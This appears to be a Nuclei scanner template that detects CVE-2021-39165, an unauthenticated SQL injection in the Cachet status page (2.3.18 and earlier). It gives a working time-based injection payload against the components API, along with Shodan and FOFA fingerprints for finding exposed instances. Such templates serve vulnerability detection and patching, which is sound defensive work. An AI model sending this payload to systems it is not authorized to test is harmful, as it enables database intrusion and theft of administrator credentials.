Cachet <=2.3.18 - SQL Injection

id: CVE-2021-39165

info:
  name: Cachet <=2.3.18 - SQL Injection
  author: tess
  severity: medium
  description: |
    Cachet is an open source status page. With Cachet prior to and including 2.3.18, there is a SQL injection which is in the `SearchableTrait#scopeSearch()`. Attackers without authentication can utilize this vulnerability to exfiltrate sensitive data from the database such as administrator's password and session. The original repository of Cachet <https://github.com/CachetHQ/Cachet> is not active, the stable version 2.3.18 and it's developing 2.4 branch is affected.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade Cachet to a version higher than 2.3.18 or apply the necessary patches provided by the vendor.
  reference:
    - https://www.leavesongs.com/PENETRATION/cachet-from-laravel-sqli-to-bug-bounty.html
    - https://github.com/fiveai/Cachet/commit/27bca8280419966ba80c6fa283d985ddffa84bb6
    - https://github.com/W0rty/CVE-2021-39165/blob/main/exploit.py
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39165
    - https://github.com/fiveai/Cachet/security/advisories/GHSA-79mg-4w23-4fqc
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 6.5
    cve-id: CVE-2021-39165
    cwe-id: CWE-287
    epss-score: 0.04209
    epss-percentile: 0.92226
    cpe: cpe:2.3:a:chachethq:cachet:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: chachethq
    product: cachet
    shodan-query: http.favicon.hash:-1606065523
    fofa-query: icon_hash=-1606065523
  tags: cve,cve2021,cachet,sqli,chachethq

http:
  - raw:
      - |
        @timeout: 20s
        GET /api/v1/components?name=1&1%5B0%5D=&1%5B1%5D=a&1%5B2%5D=&1%5B3%5D=or+'a'='a')%20and%20(select%20sleep(6))-- HTTP/1.1
        Host: {{Hostname}}

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "pagination") && contains(body, "data")'
        condition: and
# digest: 4a0a0047304502207d446c3957624653dc008a7ab15069eeed694d1099c94c6c977a81d0102dd05a022100d4e4d4f86b4d2f06d8966f18d607297ad2bc92f0fe4a9083ec4da8b419a74743:922c64590222798bb761d5b6d8e72950